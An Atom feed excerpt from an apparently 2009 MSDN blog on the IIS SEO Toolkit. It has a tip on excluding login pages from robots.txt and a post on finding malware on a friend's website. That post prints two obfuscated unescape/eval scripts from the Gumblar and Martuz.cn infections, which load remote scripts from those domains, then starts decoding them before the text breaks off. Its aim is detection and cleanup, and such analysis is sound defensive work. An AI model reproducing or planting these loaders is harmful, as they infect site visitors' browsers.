&lt;P&gt;&lt;A href="http://www.microsoft.com/web/gallery/install.aspx/SEOToolkit" target=_blank mce_href="http://www.microsoft.com/web/gallery/install.aspx/SEOToolkit"&gt;Click here to install the IIS SEO Toolkit&lt;/A&gt;.&lt;/P&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=9899683" width="1" height="1"&gt;</content><author><name>CarlosAg</name><uri>http://blogs.msdn.com/members/CarlosAg.aspx</uri></author><category term="IIS" scheme="http://blogs.msdn.com/carlosag/archive/tags/IIS/default.aspx" /><category term="IIS Manager" scheme="http://blogs.msdn.com/carlosag/archive/tags/IIS+Manager/default.aspx" /><category term="SEO" scheme="http://blogs.msdn.com/carlosag/archive/tags/SEO/default.aspx" /></entry><entry><title>SEO Tip - Beware of the Login pages - add them to Robots Exclusion</title><link rel="alternate" type="text/html" href="http://blogs.msdn.com/carlosag/archive/2009/07/07/seo-tip-beware-of-the-login-pages-add-them-to-robots-exclusion.aspx" /><id>http://blogs.msdn.com/carlosag/archive/2009/07/07/seo-tip-beware-of-the-login-pages-add-them-to-robots-exclusion.aspx</id><published>2009-07-07T04:55:17Z</published><updated>2009-07-07T04:55:17Z</updated><content type="html">&lt;p&gt;A lot of sites today have the ability for users to sign in to show them some sort of personalized content, whether its a forum, a news reader, or some e-commerce application. To simplify their users life they usually want to give them the ability to log on from any page of the Site they are currently looking at. Similarly, in an effort to keep a simple navigation for users Web Sites usually generate dynamic links to have a way to go back to the page where they were before visiting the login page, something like: &amp;lt;a href=&amp;quot;/login?returnUrl=/currentUrl&amp;quot;&amp;gt;Sign in&amp;lt;/a&amp;gt;.&lt;/p&gt;  &lt;p&gt;If your site has a login page you should definitely consider adding it to the &lt;a href="http://en.wikipedia.org/wiki/Robots_Exclusion_Standard"&gt;Robots Exclusion&lt;/a&gt; list since that is a good example of the things you do not want a search engine crawler to spend their time on. Remember you have a limited amount of time and you really want them to focus on what is important in your site.&lt;/p&gt;  &lt;p&gt;Out of curiosity I searched for login.php and login.aspx and found &lt;strong&gt;over 14 million login pages&lt;/strong&gt;… that is a lot of useless content in a search engine.&lt;/p&gt;  &lt;p&gt;Another big reason is because having this kind of URL's that vary depending on each page means there will be hundreds of variations that crawlers will need to follow, like /login?returnUrl=page1.htm, /login?returnUrl=page2.htm, etc, so it basically means you just increased the work for the crawler by two-fold. And even worst, in some cases if you are not careful you can easily cause an infinite loop for them when you add the same &amp;quot;login-link&amp;quot; in the actual login page since you get /login?returnUrl=login as the link and then when you click that you get /login?returnUrl=login?returnUrl=login... and so on with an ever changing URL for each page on your site. Note that this is not hypothetical this is actually a real example from a few famous Web sites (which I will not disclose). Of course crawlers will not infinitely crawl your Web site and they are not that silly and will stop after looking at the same resource /login for a few hundred times, but this means you are just reducing the time of them looking at what really matters to your users.&lt;/p&gt;  &lt;h3&gt;IIS SEO Toolkit&lt;/h3&gt;  &lt;p&gt;If you use the &lt;a href="http://www.iis.net/extensions/SEOToolkit" target="_blank"&gt;IIS SEO Toolkit&lt;/a&gt; it will detect the condition when the same resource (like login.aspx) is being used too many times (and only varying the Query String) and will give you a violation error like: &lt;strong&gt;Resource is used too many times&lt;/strong&gt;.&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;h3&gt;So how do I fix this?&lt;/h3&gt;  &lt;p&gt;There are a few fixes, but by far the best thing to do is just add the login page to the Robots Exclusion protocol. &lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;Add the URL to the /robots.txt, you can use the &lt;a href="http://www.iis.net/extensions/SEOToolkit"&gt;IIS Search Engine Optimization Toolkit&lt;/a&gt; to edit the robots file, or just drop a file with something like:       &lt;br /&gt;      &lt;div class="code"&gt;User-agent: *        &lt;br /&gt;Disallow: /login         &lt;br /&gt;&lt;/div&gt;   &lt;/li&gt;    &lt;li&gt;Alternatively (or additionally)&amp;#160; you can add a rel attribute with the nofollow value to tell them not to even try. Something like:      &lt;div class="code"&gt;&lt;font color="#0000ff"&gt;&amp;lt;&lt;/font&gt;&lt;font color="#800000"&gt;a&lt;/font&gt;&lt;font color="#ff0000"&gt; href&lt;/font&gt;&lt;font color="#0000ff"&gt;=&amp;quot;/login?returnUrl=page&amp;quot;&lt;/font&gt;&lt;font color="#ff0000"&gt; rel&lt;/font&gt;&lt;font color="#0000ff"&gt;=&amp;quot;nofollow&amp;quot;&amp;gt;&lt;/font&gt;&lt;font color="#000000"&gt;Log in&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;lt;/&lt;/font&gt;&lt;font color="#800000"&gt;a&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;gt;&lt;/font&gt;&lt;font color="#000000"&gt;&lt;/font&gt; &lt;/div&gt;   &lt;/li&gt;    &lt;li&gt;Finally make sure to use the Site Analysis feature in the &lt;a href="http://www.iis.net/extensions/SEOToolkit"&gt;IIS SEO Toolkit&lt;/a&gt; to make sure you don't have this kind of behavior. It will automatically flag a violation when it identifies that the same &amp;quot;page&amp;quot; (with different Query String) has already been visited over 500 times. &lt;/li&gt; &lt;/ol&gt;  &lt;h3&gt;Summary&lt;/h3&gt;  &lt;p&gt;To summarize always add the login page to the robots exclusion protocol file, otherwise you will end up:&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;sacrificing valuable &amp;quot;search engine crawling time&amp;quot; in your site.&lt;/li&gt;    &lt;li&gt;spending unnecessary bandwidth and server resources.&lt;/li&gt;    &lt;li&gt;potentially even blocking crawlsers from your content.&lt;/li&gt; &lt;/ol&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=9821169" width="1" height="1"&gt;</content><author><name>CarlosAg</name><uri>http://blogs.msdn.com/members/CarlosAg.aspx</uri></author><category term="IIS" scheme="http://blogs.msdn.com/carlosag/archive/tags/IIS/default.aspx" /><category term="IIS Manager" scheme="http://blogs.msdn.com/carlosag/archive/tags/IIS+Manager/default.aspx" /><category term="SEO" scheme="http://blogs.msdn.com/carlosag/archive/tags/SEO/default.aspx" /></entry><entry><title>Finding malware in your Web Site using IIS SEO Toolkit</title><link rel="alternate" type="text/html" href="http://blogs.msdn.com/carlosag/archive/2009/06/24/finding-malware-using-iis-seo-toolkit.aspx" /><id>http://blogs.msdn.com/carlosag/archive/2009/06/24/finding-malware-using-iis-seo-toolkit.aspx</id><published>2009-06-24T02:43:00Z</published><updated>2009-06-24T02:43:00Z</updated><content type="html">&lt;p&gt;The other day a friend of mine who owns a Web site asked me to look at his Web site to see if I could spot anything weird since according to his Web Hosting provider it was being flagged as malware infected by Google. &lt;/p&gt;  &lt;p&gt;My friend (who is not technical at all) talked to his Web site designer and mentioned the problem. He downloaded the HTML pages and tried looking for anything suspicious on them, however he was not able to find anything. My friend then went back to his Hosting provider and mentioned the fact that they were not able to find anything problematic and that if it could be something with the server configuration, to which they replied in a sarcastic way that it was probably ignorance on his Web site designer.&lt;/p&gt;  &lt;h2&gt;&lt;/h2&gt;  &lt;h2&gt;Enter IIS SEO Toolkit &lt;/h2&gt;  &lt;p&gt;So of course I decided the first thing I would do is to &lt;a href="http://learn.iis.net/page.aspx/640/using-site-analysis-to-crawl-a-web-site/" target="_blank" mce_href="http://learn.iis.net/page.aspx/640/using-site-analysis-to-crawl-a-web-site/"&gt;start by crawling the Web site using Site Analysis&lt;/a&gt; in &lt;a href="http://www.iis.net/extensions/SEOToolkit" target="_blank" mce_href="http://www.iis.net/extensions/SEOToolkit"&gt;IIS SEO Toolkit&lt;/a&gt;. This gave me a list of the pages and resources that his Web site would have. First thing I knew is usually malware hides either in executables or scripts on the server, so I started looking for the different content types shown in the &amp;quot;Content Types Summary&amp;quot; inside the Content reports in the dashboard page.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/FindingmalwareusingIISSEOToolkit_8844/img01_6.png"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="img01" border="0" alt="img01" src="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/FindingmalwareusingIISSEOToolkit_8844/img01_thumb_2.png" width="244" height="184" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;I was surprised to no found a single executable and to only see two very simple javascripts which looked not like malware in any way. So based on previous knowledge I knew that malware in HTML pages usually is hidden behind a funky looking script that is encoded and usually uses the eval function to run the code. So I quickly did a query for those HTML pages which contain the word eval and contain the word unescape. I know there are valid scripts that could include those features since they exist for a reason but it was a good way to get scoping the pages. &lt;/p&gt;  &lt;h2&gt;Gumblar and Martuz.cn Malware on sight&lt;/h2&gt;  &lt;p&gt;&lt;a href="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/FindingmalwareusingIISSEOToolkit_8844/img02_2.png" mce_href="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/FindingmalwareusingIISSEOToolkit_8844/img02_2.png"&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="img02" border="0" alt="img02" src="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/FindingmalwareusingIISSEOToolkit_8844/img02_thumb.png" width="244" height="184" mce_src="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/FindingmalwareusingIISSEOToolkit_8844/img02_thumb.png" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;After running the query as shown above, I got a set of HTML files which all gave a status code 404 – NOT FOUND. Double clicking in any of them and looking at the HTML markup content made it immediately obvious they were malware infected, look at the following markup:&lt;/p&gt;  &lt;div class="code"&gt;&lt;font color="#0000ff"&gt;&amp;lt;&lt;/font&gt;&lt;font color="#800000"&gt;HTML&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;gt;&lt;/font&gt;&lt;font color="#000000"&gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;lt;&lt;/font&gt;&lt;font color="#800000"&gt;HEAD&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;gt;&lt;/font&gt;&lt;font color="#000000"&gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;lt;&lt;/font&gt;&lt;font color="#800000"&gt;TITLE&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;gt;&lt;/font&gt;&lt;font color="#000000"&gt;404 Not Found&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;lt;/&lt;/font&gt;&lt;font color="#800000"&gt;TITLE&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;gt;&lt;/font&gt;&lt;font color="#000000"&gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;lt;/&lt;/font&gt;&lt;font color="#800000"&gt;HEAD&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;gt;&lt;/font&gt;&lt;font color="#000000"&gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;lt;&lt;/font&gt;&lt;font color="#800000"&gt;script&lt;/font&gt;&lt;font color="#ff0000"&gt; language&lt;/font&gt;&lt;font color="#0000ff"&gt;=javascript&amp;gt;&lt;/font&gt;&lt;font color="#000000"&gt;&amp;lt;!--&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160; &lt;br /&gt;&lt;/font&gt;&lt;font color="#000000"&gt;(&lt;/font&gt;&lt;font color="#0000ff"&gt;function&lt;/font&gt;&lt;font color="#000000"&gt;(AO9h){&lt;/font&gt;&lt;font color="#0000ff"&gt;var&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;x752&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;'%'&lt;/font&gt;&lt;font color="#0000ff"&gt;;var&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;qAxG&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;'va&amp;quot;72&amp;quot;20a&amp;quot;3d&amp;quot;22Scr&amp;quot;69pt&amp;quot;45ng&amp;quot;69ne&amp;quot;22&amp;quot;2cb&amp;quot;3d&amp;quot;22Version(&amp;quot;29&amp;quot;2b&amp;quot;22&amp;quot;2c&amp;quot;6a&amp;quot;3d&amp;quot;22&amp;quot;22&amp;quot;2cu&amp;quot;3dnav&amp;quot;69g&amp;quot;61&amp;quot;74or&amp;quot;2e&amp;quot;75ser&amp;quot;41gent&amp;quot;3bif((u&amp;quot;2e&amp;quot;69ndexO&amp;quot;66&amp;quot;28&amp;quot;22Win&amp;quot;22)&amp;quot;3e0)&amp;quot;26&amp;quot;26(u&amp;quot;2eindexOf(&amp;quot;22NT&amp;quot;206&amp;quot;22&amp;quot;29&amp;quot;3c0)&amp;quot;26&amp;quot;26(document&amp;quot;2e&amp;quot;63o&amp;quot;6fkie&amp;quot;2ei&amp;quot;6e&amp;quot;64exOf(&amp;quot;22mi&amp;quot;65&amp;quot;6b&amp;quot;3d1&amp;quot;22)&amp;quot;3c0)&amp;quot;26&amp;quot;26&amp;quot;28typ&amp;quot;65&amp;quot;6ff&amp;quot;28&amp;quot;7arv&amp;quot;7a&amp;quot;74&amp;quot;73&amp;quot;29&amp;quot;21&amp;quot;3dty&amp;quot;70e&amp;quot;6f&amp;quot;66&amp;quot;28&amp;quot;22A&amp;quot;22))&amp;quot;29&amp;quot;7b&amp;quot;7arvzts&amp;quot;3d&amp;quot;22A&amp;quot;22&amp;quot;3be&amp;quot;76a&amp;quot;6c(&amp;quot;22i&amp;quot;66(wi&amp;quot;6edow&amp;quot;2e&amp;quot;22+a&amp;quot;2b&amp;quot;22)j&amp;quot;3d&amp;quot;6a+&amp;quot;22+a+&amp;quot;22Major&amp;quot;22+b+a&amp;quot;2b&amp;quot;22M&amp;quot;69no&amp;quot;72&amp;quot;22&amp;quot;2bb+a+&amp;quot;22&amp;quot;42&amp;quot;75&amp;quot;69ld&amp;quot;22+b+&amp;quot;22&amp;quot;6a&amp;quot;3b&amp;quot;22)&amp;quot;3bdocume&amp;quot;6e&amp;quot;74&amp;quot;2ewrite&amp;quot;28&amp;quot;22&amp;quot;3cs&amp;quot;63&amp;quot;72ipt&amp;quot;20&amp;quot;73rc&amp;quot;3d&amp;quot;2f&amp;quot;2fgum&amp;quot;62la&amp;quot;72&amp;quot;2ecn&amp;quot;2f&amp;quot;72ss&amp;quot;2f&amp;quot;3fid&amp;quot;3d&amp;quot;22+j+&amp;quot;22&amp;quot;3e&amp;quot;3c&amp;quot;5c&amp;quot;2fsc&amp;quot;72ipt&amp;quot;3e&amp;quot;22)&amp;quot;3b&amp;quot;7d'&lt;/font&gt;&lt;font color="#0000ff"&gt;;var&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;Fda&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#000000"&gt;unescape(qAxG.replace(AO9h,x752))&lt;/font&gt;&lt;font color="#0000ff"&gt;;eval&lt;/font&gt;&lt;font color="#000000"&gt;(Fda)})(/&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;/g);      &lt;br /&gt;--&amp;gt;&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;lt;/&lt;/font&gt;&lt;font color="#800000"&gt;script&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;gt;&lt;/font&gt;&lt;font color="#000000"&gt;&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;lt;&lt;/font&gt;&lt;font color="#800000"&gt;script&lt;/font&gt;&lt;font color="#ff0000"&gt; language&lt;/font&gt;&lt;font color="#0000ff"&gt;=javascript&amp;gt;&lt;/font&gt;&lt;font color="#000000"&gt;&amp;lt;!--&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160; &lt;br /&gt;&lt;/font&gt;&lt;font color="#000000"&gt;(&lt;/font&gt;&lt;font color="#0000ff"&gt;function&lt;/font&gt;&lt;font color="#000000"&gt;(rSf93){&lt;/font&gt;&lt;font color="#0000ff"&gt;var&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;SKrkj&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;'%'&lt;/font&gt;&lt;font color="#0000ff"&gt;;var&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;METKG&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#000000"&gt;unescape((&lt;/font&gt;&lt;font color="#808080"&gt;'var~20~61~3d~22S~63~72i~70~74Engine~22~2cb~3d~22Version()+~22~2cj~3d~22~22~2c~75~3dn~61v~69ga~74o~72~2e~75se~72Agen~74~3b~69f(~28u~2eind~65~78~4ff(~22Chro~6d~65~22~29~3c~30)~26~26(~75~2e~69ndexOf(~22Wi~6e~22)~3e0)~26~26(u~2e~69ndexOf(~22~4eT~206~22~29~3c0~29~26~26(doc~75~6dent~2ecook~69e~2ein~64exOf(~22miek~3d1~22)~3c~30)~26~26~28typeof(zrv~7at~73)~21~3dtyp~65~6ff(~22A~22~29))~7bzrv~7at~73~3d~22~41~22~3b~65~76al(~22i~66(w~69ndow~2e~22+a+~22)~6a~3dj+~22+~61+~22M~61jor~22+b~2b~61+~22~4dinor~22+~62+a~2b~22B~75ild~22~2bb+~22j~3b~22)~3bdocu~6d~65n~74~2e~77rit~65(~22~3cs~63r~69pt~20src~3d~2f~2f~6dar~22~2b~22tuz~2ec~6e~2f~76~69d~2f~3f~69d~3d~22+j+~22~3e~3c~5c~2fscr~69pt~3e~22)~3b~7d'&lt;/font&gt;&lt;font color="#000000"&gt;).replace(rSf93,SKrkj))&lt;/font&gt;&lt;font color="#0000ff"&gt;;eval&lt;/font&gt;&lt;font color="#000000"&gt;(METKG)})(/\~/g)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;--&amp;gt;&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;lt;/&lt;/font&gt;&lt;font color="#800000"&gt;script&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;gt;&lt;/font&gt;&lt;font color="#000000"&gt;&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;lt;&lt;/font&gt;&lt;font color="#800000"&gt;BODY&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;gt;&lt;/font&gt;&lt;font color="#000000"&gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;lt;&lt;/font&gt;&lt;font color="#800000"&gt;H1&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;gt;&lt;/font&gt;&lt;font color="#000000"&gt;Not Found&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;lt;/&lt;/font&gt;&lt;font color="#800000"&gt;H1&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;gt;&lt;/font&gt;&lt;font color="#000000"&gt;      &lt;br /&gt;The requested document was not found on this server.       &lt;br /&gt;&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;lt;&lt;/font&gt;&lt;font color="#800000"&gt;P&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;gt;&lt;/font&gt;&lt;font color="#000000"&gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;lt;&lt;/font&gt;&lt;font color="#800000"&gt;HR&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;gt;&lt;/font&gt;&lt;font color="#000000"&gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;lt;&lt;/font&gt;&lt;font color="#800000"&gt;ADDRESS&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;gt;&lt;/font&gt;&lt;font color="#000000"&gt;      &lt;br /&gt;Web Server at **********       &lt;br /&gt;&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;lt;/&lt;/font&gt;&lt;font color="#800000"&gt;ADDRESS&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;gt;&lt;/font&gt;&lt;font color="#000000"&gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;lt;/&lt;/font&gt;&lt;font color="#800000"&gt;BODY&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;gt;&lt;/font&gt;&lt;font color="#000000"&gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;lt;/&lt;/font&gt;&lt;font color="#800000"&gt;HTML&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;gt;&lt;/font&gt;&lt;font color="#000000"&gt;&lt;/font&gt; &lt;/div&gt;  &lt;p&gt;Notice those two ugly scripts that seem to be just a random set of numbers, quotes and letters? I do not believe I've ever met a developer that writes code like that in real web applications. &lt;/p&gt;  &lt;p&gt;For those of you like me that do not particularly enjoy reading encoded Javascript what these two scripts do is just unescape the funky looking string and then execute it. I have un-encoded the script that would get executed and showed it below just to show case how this malware works. Note how they special case a couple browsers including Chrome to request then a particular script that will cause the real damage.&lt;/p&gt;  &lt;div class="code"&gt;&lt;font color="#0000ff"&gt;var&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;a&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt; &amp;quot;ScriptEngine&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;,&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160; &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;b&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt; &amp;quot;Version()+&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;,&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160; &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;j&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt; &amp;quot;&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;,&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160; &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;u&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;navigator.userAgent&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160; &lt;br /&gt;&lt;/font&gt;&lt;font color="#0000ff"&gt;if&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;((u.indexOf(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;Win&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;&amp;gt;&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#800000"&gt;0&lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;&amp;amp;&amp;amp;&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;(u.indexOf(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;NT 6&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;&amp;lt;&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#800000"&gt;0&lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;&amp;amp;&amp;amp;&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;(&lt;/font&gt;&lt;font color="#0000ff"&gt;document&lt;/font&gt;&lt;font color="#000000"&gt;.cookie.indexOf(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;miek=1&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;&amp;lt;&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#800000"&gt;0&lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;&amp;amp;&amp;amp;&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;(&lt;/font&gt;&lt;font color="#0000ff"&gt;typeof&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;(zrvzts)&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;!&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;typeof&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;A&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;)))&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;{&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160; &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;zrvzts&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt; &amp;quot;A&amp;quot;&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160; &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;eval&lt;/font&gt;&lt;font color="#000000"&gt;(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;if(window.&amp;quot; &lt;/font&gt;&lt;font color="#000000"&gt;+&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;a&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;+&lt;/font&gt;&lt;font color="#808080"&gt; &amp;quot;)j=j+&amp;quot; &lt;/font&gt;&lt;font color="#000000"&gt;+&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;a&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;+&lt;/font&gt;&lt;font color="#808080"&gt; &amp;quot;Major&amp;quot; &lt;/font&gt;&lt;font color="#000000"&gt;+&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;b&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;+&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;a&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;+&lt;/font&gt;&lt;font color="#808080"&gt; &amp;quot;Minor&amp;quot; &lt;/font&gt;&lt;font color="#000000"&gt;+&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;b&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;+&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;a&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;+&lt;/font&gt;&lt;font color="#808080"&gt; &amp;quot;Build&amp;quot; &lt;/font&gt;&lt;font color="#000000"&gt;+&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;b&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;+&lt;/font&gt;&lt;font color="#808080"&gt; &amp;quot;j;&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160; &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;document&lt;/font&gt;&lt;font 